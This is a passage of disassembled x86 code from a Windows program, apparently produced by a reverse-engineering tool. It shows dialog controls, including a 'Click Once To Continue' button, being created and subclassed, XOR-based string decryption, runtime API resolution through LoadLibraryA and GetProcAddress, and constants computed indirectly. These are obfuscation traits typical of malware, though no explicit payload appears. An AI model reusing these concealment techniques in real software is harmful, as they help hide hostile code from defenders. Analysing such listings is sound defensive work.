		mov	ebx, dword_44B094
		add	ebx, 45h
		add	ebx, ecx
		push	ebx
		mov	ebx, dword_44B174
		inc	ebx
		push	ebx
		push	50800003h
		push	offset byte_44BE0E
		push	offset aCombobox ; "COMBOBOX"
		add	edx, ecx
		sub	edx, 5
		push	edx
		call	ds:dword_449648	; CreateWindowExA
		mov	edi, [ebp+var_2AC]
		mov	ds:dword_448380[edi], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B0], eax
		mov	[ebp+var_2B4], eax
		push	ds:dword_44837C[eax]
		movsx	edx, word_44B110
		mov	ecx, dword_44B108
		lea	edx, [edx+ecx+128h]
		push	edx
		movsx	edx, word_44B0B0
		mov	ecx, dword_44B0F0
		lea	edx, [edx+ecx+30h]
		push	edx
		movsx	edx, word_44B0E8
		mov	ecx, dword_44B0E4
		add	ecx, 44h
		add	ecx, edx
		push	ecx
		mov	ecx, dword_44B104
		add	ecx, 3Eh
		add	ecx, edx
		push	ecx
		push	50800003h
		push	offset byte_44BE0E
		push	offset aCombobox ; "COMBOBOX"
		movsx	edx, word_44B148
		sub	edx, 3
		push	edx
		call	ds:dword_449648	; CreateWindowExA
		mov	edi, [ebp+var_2B4]
		mov	ds:dword_448384[edi], eax
		mov	eax, dword_44B134
		add	eax, dword_44B120
		sub	eax, 4
		mov	[ebp+var_102], ax
		jmp	loc_441C28
; ---------------------------------------------------------------------------


loc_441B74:				; CODE XREF: sub_44108E+BACj
		push	offset word_44BE06
		call	sub_4424C1
		movzx	edi, [ebp+var_102]
		push	edi
		push	eax
		lea	edi, [ebp+var_2BE]
		push	edi
		call	ds:dword_44A634
		lea	eax, [ebp+var_2BE]
		push	eax
		mov	eax, dword_44B0B8
		add	eax, dword_44B0B4
		sub	eax, 0Ch
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2C4], eax
		push	ds:dword_448380[eax]
		call	ds:dword_445014	; SendMessageA
		push	offset dword_44BDFC
		call	sub_4424C1
		movzx	edi, [ebp+var_102]
		mov	ebx, dword_44B0EC
		inc	ebx
		add	edi, ebx
		push	edi
		push	eax
		lea	edi, [ebp+var_2BE]
		push	edi
		call	ds:dword_44A634
		add	esp, 20h
		lea	eax, [ebp+var_2BE]
		push	eax
		push	dword_44B130
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2C8], eax
		push	ds:dword_448384[eax]
		call	ds:dword_445014	; SendMessageA
		inc	[ebp+var_102]


loc_441C28:				; CODE XREF: sub_44108E+AE1j
		movzx	eax, [ebp+var_102]
		mov	edx, dword_44B1A4
		add	edx, 0Dh
		cmp	eax, edx
		jl	loc_441B74
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B8], eax
		mov	[ebp+var_2BC], eax
		push	ds:dword_44837C[eax]
		movsx	edx, word_44B110
		add	edx, 14h
		push	edx
		mov	edx, dword_44B138
		add	edx, 4Dh
		movsx	ecx, word_44B0E0
		add	edx, ecx
		push	edx
		movsx	edx, word_44B0D8
		add	edx, 77h
		push	edx
		movsx	edx, word_44B19C
		add	edx, 29h
		push	edx
		push	50800000h
		push	offset byte_44BE0E
		push	offset aEdit	; "EDIT"
		push	200h
		call	ds:dword_449648	; CreateWindowExA
		mov	edi, [ebp+var_2BC]
		mov	ds:dword_448388[edi], eax
		movsx	eax, word_44B0BC
		add	eax, dword_44B0AC
		sub	eax, 0Ch
		push	eax
		push	58h
		push	0CCh
		mov	eax, 30h
		mul	esi
		mov	[ebp-2C0h], eax
		push	ds:dword_448388[eax]
		call	ds:dword_445014	; SendMessageA
		push	offset byte_44BDED
		call	sub_4424C1
		mov	[ebp+var_2C4], eax
		push	offset byte_44BDCB
		call	sub_4424C1
		add	esp, 8
		mov	[ebp+var_2C8], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		mov	edi, eax
		push	ds:dword_44837C[edi]
		mov	edi, dword_44B138
		add	edi, 38h
		add	edi, dword_44B1B0
		push	edi
		push	[ebp+var_120]
		movsx	edi, word_44B154
		add	edi, 47h
		push	edi
		movsx	edi, word_44B0F4
		movsx	ebx, word_44B148
		lea	edi, [edi+ebx+8Ah]
		push	edi
		push	50000000h
		mov	edi, [ebp+var_2C8]
		push	edi
		mov	edi, [ebp+var_2C4]
		push	edi
		mov	edi, dword_44B0FC
		movsx	ebx, word_44B16C
		add	edi, ebx
		sub	edi, 0Bh
		push	edi
		call	ds:dword_449648	; CreateWindowExA
		mov	[ebp+var_25C], eax
		push	1
		push	[ebp+var_130]
		push	30h
		push	eax
		call	ds:dword_445014	; SendMessageA
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_2D4], eax
		push	ds:dword_44837C[eax]
		mov	edx, dword_44B178
		add	edx, 14h
		push	edx
		mov	edx, dword_44B188
		add	edx, 93h
		add	edx, dword_44B198
		push	edx
		mov	edx, dword_44B14C
		add	edx, 0EDh
		add	edx, dword_44B098
		mov	ecx, dword_44B0F0
		add	ecx, 1Fh
		sub	edx, ecx
		push	edx
		mov	edx, dword_44B13C
		add	edx, 8
		push	edx
		push	50800000h
		push	offset aClickOnceToCon ; "Click	Once To	Continue"
		push	offset aButton	; "BUTTON"
		mov	edx, dword_44B1C0
		add	edx, dword_44B0C4
		sub	edx, 7
		push	edx
		call	ds:dword_449648	; CreateWindowExA
		mov	edi, [ebp+var_2D4]
		mov	ds:dword_44838C[edi], eax
		push	1
		push	[ebp+var_130]
		mov	eax, 30h
		push	30h
		mul	esi
		mov	[ebp+var_2D8], eax
		push	ds:dword_44838C[eax]
		call	ds:dword_445014	; SendMessageA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2DC], eax
		mov	[ebp+var_2E0], eax
		push	ds:dword_448380[eax]
		call	ds:dword_44A628	; GetWindowLongA
		mov	edi, [ebp+var_2E0]
		mov	ds:dword_448390[edi], eax
		push	offset sub_43A34D
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E4], eax
		push	ds:dword_448380[eax]
		call	ds:dword_4475F8	; SetWindowLongA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E8], eax
		mov	[ebp+var_2EC], eax
		push	ds:dword_448384[eax]
		call	ds:dword_44A628	; GetWindowLongA
		mov	edi, [ebp+var_2EC]
		mov	ds:dword_448394[edi], eax
		push	offset sub_43A34D
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F0], eax
		push	ds:dword_448384[eax]
		call	ds:dword_4475F8	; SetWindowLongA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2F8], eax
		push	ds:dword_448388[eax]
		call	ds:dword_44A628	; GetWindowLongA
		mov	edi, [ebp+var_2F8]
		mov	ds:dword_448398[edi], eax
		push	offset sub_43A34D
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2FC], eax
		push	ds:dword_448388[eax]
		call	ds:dword_4475F8	; SetWindowLongA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_300], eax
		mov	[ebp+var_304], eax
		push	ds:dword_44837C[eax]
		call	ds:dword_44A628	; GetWindowLongA
		mov	edi, [ebp+var_304]
		mov	ds:dword_44839C[edi], eax
		push	offset sub_43A34D
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_308], eax
		push	ds:dword_44837C[eax]
		call	ds:dword_4475F8	; SetWindowLongA
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_30C], eax
		push	ds:dword_448380[eax]
		call	ds:dword_447A40	; SetFocus


loc_441FC7:				; CODE XREF: sub_44108E+10j
					; sub_44108E+21j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44108E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441FCC	proc near		; CODE XREF: sub_43B52C+1C4p
					; sub_43C154+20p ...

var_120A	= byte ptr -120Ah
var_110B	= byte ptr -110Bh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 120Ch
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		push	offset word_44B97E
		call	sub_4424C1
		push	eax
		lea	edi, [ebp+var_FFF]
		push	edi
		call	ds:dword_44A634
		add	esp, 0Ch
		mov	eax, dword_44B0EC
		mov	esi, eax
		add	esi, dword_44B144
		sub	esi, 0Ah
		jmp	short loc_442029
; ---------------------------------------------------------------------------


loc_442009:				; CODE XREF: sub_441FCC+63j
		cmp	[ebp+esi+var_FFF], 23h
		jnz	short loc_442028
		mov	eax, dword_44B0F8
		add	eax, dword_44B118
		sub	eax, 3
		mov	[ebp+esi+var_FFF], al


loc_442028:				; CODE XREF: sub_441FCC+45j
		inc	esi


loc_442029:				; CODE XREF: sub_441FCC+3Bj
		cmp	esi, 0FFFh
		jb	short loc_442009
		mov	eax, dword_44B0F8
		add	eax, dword_44B184
		sub	eax, 8
		mov	[ebp+var_1004],	eax
		mov	eax, dword_44B108
		mov	ebx, eax
		add	ebx, dword_44B12C
		sub	ebx, 5
		cmp	[ebp+arg_0], 0
		jnz	short loc_4420B4


loc_44205B:				; CODE XREF: sub_441FCC+E6j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1004],	eax
		jnz	short loc_44207D
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		push	offset dword_44A670
		call	sub_444B60
		jmp	loc_442313
; ---------------------------------------------------------------------------


loc_44207D:				; CODE XREF: sub_441FCC+98j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_442087:				; CODE XREF: sub_441FCC+C0j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442087
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_44B1A0
		sub	edx, 6
		cmp	eax, edx
		jz	loc_442313
		jmp	short loc_44205B
; ---------------------------------------------------------------------------


loc_4420B4:				; CODE XREF: sub_441FCC+8Dj
		mov	eax, dword_44B290
		mov	[ebp+var_1008],	eax
		mov	eax, dword_44B094
		movsx	edx, word_44B0E0
		add	eax, edx
		sub	eax, 6
		mov	edx, [ebp+arg_0]
		movsx	ecx, word_44B090
		dec	ecx
		mov	[edx+eax], cl
		movsx	eax, word_44B180
		movsx	edx, word_44B1A8
		mov	ebx, eax
		add	ebx, edx
		sub	ebx, 6
		mov	eax, dword_44B1A4
		mov	[ebp+var_1004],	eax


loc_4420FE:				; CODE XREF: sub_441FCC+31Fj
		push	offset byte_44B973
		call	sub_4424C1
		push	eax
		lea	edi, [ebp+var_110B]
		push	edi
		call	sub_444B60
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		call	ds:dword_445020
		add	esp, 0Ch
		call	ds:dword_44ABAC
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	[ebp+var_100C],	edx
		mov	eax, dword_44B0B4
		sub	eax, 6
		cmp	edx, eax
		jnb	loc_442236
		push	[ebp+var_1008]
		lea	eax, [ebp+var_120A]
		push	eax
		call	sub_43E1CC
		mov	eax, dword_44B198
		add	eax, dword_44B0D4
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_43D744
		add	esp, 14h
		mov	edi, dword_44B0B8
		add	edi, 0FFF3h
		movsx	edx, word_44B0B0
		add	edi, edx
		cmp	eax, edi
		jnz	short loc_4421C4
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_445020
		push	offset word_44B96E
		call	sub_4424C1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_445020
		add	esp, 14h


loc_4421C4:				; CODE XREF: sub_441FCC+1CFj
		mov	eax, dword_44B17C
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	sub_43D744
		add	esp, 0Ch
		mov	edi, dword_44B164
		add	edi, 0FFFDh
		add	edi, dword_44B1C8
		cmp	eax, edi
		jnz	short loc_442230
		push	offset byte_44B963
		call	sub_4424C1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_445020
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_445020
		push	offset word_44B95E
		call	sub_4424C1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_445020
		add	esp, 20h


loc_442230:				; CODE XREF: sub_441FCC+227j
		inc	[ebp+var_1008]


loc_442236:				; CODE XREF: sub_441FCC+17Fj
		push	[ebp+var_1004]
		call	sub_443D23
		pop	ecx
		mov	[ebp+var_100C],	eax
		mov	ecx, dword_44B0B4
		sub	ecx, 6
		cmp	eax, ecx
		jnb	short loc_4422B6
		mov	eax, dword_44B184
		movsx	edx, word_44B154
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_43D744
		add	esp, 0Ch
		mov	edi, dword_44B160
		add	edi, 0FFF4h
		add	edi, dword_44B1B8
		cmp	eax, edi
		jnz	short loc_4422B6
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_445020
		push	offset byte_44B959
		call	sub_4424C1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_445020
		add	esp, 14h


loc_4422B6:				; CODE XREF: sub_441FCC+287j
					; sub_441FCC+2C1j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_4422C0:				; CODE XREF: sub_441FCC+2F9j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4422C0
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_44B0A4
		add	edx, dword_44B13C
		sub	edx, 4
		cmp	eax, edx
		jnz	loc_4420FE
		push	offset dword_44B954
		call	sub_4424C1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_445020
		add	esp, 0Ch
		mov	eax, [ebp+var_1008]
		mov	dword_44B290, eax


loc_442313:				; CODE XREF: sub_441FCC+ACj
					; sub_441FCC+E0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441FCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442318	proc near		; DATA XREF: sub_440914+1Fo

var_1FFF	= byte ptr -1FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_444B40
		push	esi
		push	edi
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44ABA4	; GetWindowTextA
		push	offset byte_44B93F
		call	sub_4424C1
		mov	edi, dword_44B0E4
		dec	edi
		push	edi
		push	eax
		lea	edi, [ebp+var_1FFF]
		push	edi
		call	sub_43D744
		add	esp, 10h
		mov	esi, dword_44B1C0
		add	esi, 0FFF8h
		add	esi, dword_44B1AC
		cmp	eax, esi
		jz	short loc_44237D
		push	[ebp+arg_0]
		call	sub_43EEA0
		pop	ecx


loc_44237D:				; CODE XREF: sub_442318+5Aj
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		leave
		retn	8
sub_442318	endp


; =============== S U B	R O U T	I N E =======================================



sub_442386	proc near		; CODE XREF: sub_442C0A+16p
		push	edi
		push	offset word_44B932
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	dword_44B1E4, eax
		test	eax, eax
		jnz	short loc_4423B9
		push	offset byte_44B925
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_448244	; LoadLibraryA
		mov	dword_44B1E4, eax


loc_4423B9:				; CODE XREF: sub_442386+1Aj
		push	offset word_44B912
		call	sub_4424C1
		push	eax
		push	dword_44B1E4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44ABB4, eax
		push	offset word_44B8FE
		call	sub_4424C1
		push	eax
		push	dword_44B1E4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447620, eax
		push	offset word_44B8EE
		call	sub_4424C1
		push	eax
		push	dword_44B1E4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4470D0, eax
		push	offset dword_44B8DC
		call	sub_4424C1
		push	eax
		push	dword_44B1E4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4470D8, eax
		push	offset byte_44B8CD
		call	sub_4424C1
		add	esp, 14h
		push	eax
		push	dword_44B1E4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A644, eax
		pop	edi
		retn
sub_442386	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44244A	proc near		; CODE XREF: sub_43B52C+A4p
					; sub_43E5D5+14Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, dword_44B0E4
		movsx	edx, word_44B0D8
		mov	esi, eax
		add	esi, edx
		sub	esi, 7
		jmp	short loc_44249D
; ---------------------------------------------------------------------------


loc_442468:				; CODE XREF: sub_44244A+56j
		call	ds:dword_44ABAC
		mov	edi, dword_44B164
		add	edi, 5Dh
		movsx	edx, word_44B110
		add	edi, edx
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		add	edi, eax
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_44249D:				; CODE XREF: sub_44244A+1Cj
		cmp	esi, [ebp+arg_4]
		jl	short loc_442468
		mov	eax, [ebp+arg_4]
		movsx	edx, word_44B148
		sub	edx, 3
		mov	[ebx+eax], dl
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44244A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4424B9	proc near		; DATA XREF: .data:0044B2C0o
		mov	eax, 80004001h
		retn	8
sub_4424B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4424C1	proc near		; CODE XREF: sub_43A34D+205p
					; sub_43A34D+2B7p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_44B1D0, 0
		jnz	short loc_4424E9
		push	offset dword_44ABC0
		call	ds:dword_446008	; InitializeCriticalSection
		mov	dword_44B1D0, 1


loc_4424E9:				; CODE XREF: sub_4424C1+11j
		mov	esi, dword_44B118
		add	esi, dword_44B11C
		dec	esi
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+1]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_44B184
		sub	edx, 3
		cmp	eax, edx
		jz	short loc_44259B
		push	offset dword_44ABC0
		call	ds:dword_44A65C	; RtlEnterCriticalSection
		movsx	eax, word_44B0E0
		add	eax, 3
		mov	[ebp+var_2], ax
		jmp	short loc_44254F
; ---------------------------------------------------------------------------


loc_44253A:				; CODE XREF: sub_4424C1+98j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+2]
		xor	edx, ecx
		mov	[eax], dl
		inc	[ebp+var_2]


loc_44254F:				; CODE XREF: sub_4424C1+77j
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_44253A
		mov	eax, dword_44B160
		add	eax, dword_44B108
		sub	eax, 8
		movsx	edx, word_44B150
		sub	edx, 5
		mov	[edi+eax], dl
		mov	eax, dword_44B14C
		add	eax, dword_44B164
		sub	eax, 5
		mov	edx, dword_44B178
		sub	edx, 3
		mov	[edi+eax], dl
		push	offset dword_44ABC0
		call	ds:dword_44964C	; RtlLeaveCriticalSection


loc_44259B:				; CODE XREF: sub_4424C1+5Cj
		lea	eax, [edi+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4424C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4425A3	proc near		; DATA XREF: .data:0044B2CCo

arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		mov	eax, dword_44B164
		add	eax, 0F8h
		add	eax, dword_44B0E4
		cmp	edi, eax
		jnz	short loc_4425D2
		push	[ebp+arg_14]
		call	sub_43F0EA
		pop	ecx
		xor	eax, eax
		jmp	short loc_4425F2
; ---------------------------------------------------------------------------


loc_4425D2:				; CODE XREF: sub_4425A3+20j
		mov	eax, dword_44B0D4
		add	eax, 102h
		cmp	edi, eax
		jnz	short loc_4425ED
		push	[ebp+arg_14]
		call	sub_443E95
		pop	ecx
		xor	eax, eax
		jmp	short loc_4425F2
; ---------------------------------------------------------------------------


loc_4425ED:				; CODE XREF: sub_4425A3+3Bj
		mov	eax, 80020003h


loc_4425F2:				; CODE XREF: sub_4425A3+2Dj
					; sub_4425A3+48j
		pop	edi
		pop	ebp
		retn	24h
sub_4425A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4425F7	proc near		; CODE XREF: sub_442C0A+20p
		push	edi
		push	offset word_44B8C2
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	dword_44B1EC, eax
		test	eax, eax
		jnz	short loc_44262A
		push	offset byte_44B8B7
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_448244	; LoadLibraryA
		mov	dword_44B1EC, eax


loc_44262A:				; CODE XREF: sub_4425F7+1Aj
		cmp	dword_44B1EC, 0
		jz	short loc_442650
		push	offset byte_44B8A1
		call	sub_4424C1
		pop	ecx
		push	eax
		push	dword_44B1EC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447600, eax


loc_442650:				; CODE XREF: sub_4425F7+3Aj
		pop	edi
		retn
sub_4425F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_442652	proc near		; DATA XREF: sub_4401E7+7o
		movsx	eax, word_44B1A8
		inc	eax
		push	eax
		call	ds:dword_44A660	; ExitThread
		retn
sub_442652	endp


; =============== S U B	R O U T	I N E =======================================



sub_442662	proc near		; CODE XREF: sub_440946+26Ep
		push	edi
		push	offset byte_44B893
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	dword_44B1D8, eax
		test	eax, eax
		jnz	short loc_442695
		push	offset byte_44B885
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_448244	; LoadLibraryA
		mov	dword_44B1D8, eax


loc_442695:				; CODE XREF: sub_442662+1Aj
		push	offset byte_44B87B
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A630, eax
		push	offset dword_44B870
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445030, eax
		push	offset dword_44B868
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445054, eax
		push	offset dword_44B860
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447A38, eax
		push	offset word_44B856
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447A2C, eax
		push	offset dword_44B84C
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A648, eax
		push	offset word_44B842
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_449634, eax
		push	offset dword_44B838
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_449640, eax
		push	offset dword_44B830
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44ABAC, eax
		push	offset byte_44B827
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A600, eax
		push	offset byte_44B81D
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445020, eax
		push	offset word_44B812
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A634, eax
		push	offset word_44B806
		call	sub_4424C1
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44824C, eax
		push	offset dword_44B7FC
		call	sub_4424C1
		add	esp, 38h
		push	eax
		push	dword_44B1D8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4471F4, eax
		pop	edi
		retn
sub_442662	endp


; =============== S U B	R O U T	I N E =======================================



sub_442822	proc near		; CODE XREF: sub_442C0A+25p
		push	edi
		push	offset word_44B7EE
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	dword_44B1F0, eax
		test	eax, eax
		jnz	short loc_442855
		push	offset dword_44B7E0
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_448244	; LoadLibraryA
		mov	dword_44B1F0, eax


loc_442855:				; CODE XREF: sub_442822+1Aj
		cmp	dword_44B1F0, 0
		jz	short loc_44287A
		movsx	eax, word_44B148
		add	eax, 2
		push	eax
		push	dword_44B1F0
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44501C, eax


loc_44287A:				; CODE XREF: sub_442822+3Aj
		pop	edi
		retn
sub_442822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44287C	proc near		; DATA XREF: sub_43B52C+81o

var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_210]
		push	eax
		push	offset dword_4470F0
		call	sub_43ACC9
		add	esp, 8
		mov	[ebp+var_208], eax
		test	eax, eax
		jnz	short loc_4428AD
		xor	eax, eax
		jmp	loc_442A41
; ---------------------------------------------------------------------------


loc_4428AD:				; CODE XREF: sub_44287C+28j
		mov	eax, dword_44B0A0
		movsx	edx, word_44B0B0
		add	eax, edx
		sub	eax, 8
		mov	[ebp+var_204], eax


loc_4428C4:				; CODE XREF: sub_44287C+1B1j
		mov	eax, [ebp+var_204]
		mov	edx, [ebp+var_208]
		lea	ecx, [edx+eax]
		or	eax, 0FFFFFFFFh


loc_4428D6:				; CODE XREF: sub_44287C+5Fj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4428D6
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0FFh
		jnb	short loc_442913
		mov	eax, [ebp+var_204]
		mov	edx, dword_44B1B8
		sub	edx, 2
		add	eax, edx
		add	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_444B60


loc_442913:				; CODE XREF: sub_44287C+71j
		mov	eax, dword_44B15C
		mov	esi, eax
		add	esi, dword_44B178
		sub	esi, 7
		jmp	short loc_44294A
; ---------------------------------------------------------------------------


loc_442925:				; CODE XREF: sub_44287C+E0j
		cmp	[ebp+esi+var_FF], 28h
		jnz	short loc_442937
		mov	[ebp+esi+var_FF], 2Bh


loc_442937:				; CODE XREF: sub_44287C+B1j
		cmp	[ebp+esi+var_FF], 29h
		jnz	short loc_442949
		mov	[ebp+esi+var_FF], 3Dh


loc_442949:				; CODE XREF: sub_44287C+C3j
		inc	esi


loc_44294A:				; CODE XREF: sub_44287C+A7j
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_442953:				; CODE XREF: sub_44287C+DCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442953
		cmp	esi, eax
		jb	short loc_442925
		push	0FFh
		lea	eax, [ebp+var_1FE]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_44335A
		add	esp, 0Ch
		mov	ebx, eax
		mov	edi, dword_44B160
		sub	edi, 8
		jmp	short loc_4429B4
; ---------------------------------------------------------------------------


loc_442986:				; CODE XREF: sub_44287C+13Aj
		movsx	eax, [ebp+edi+var_1FE]
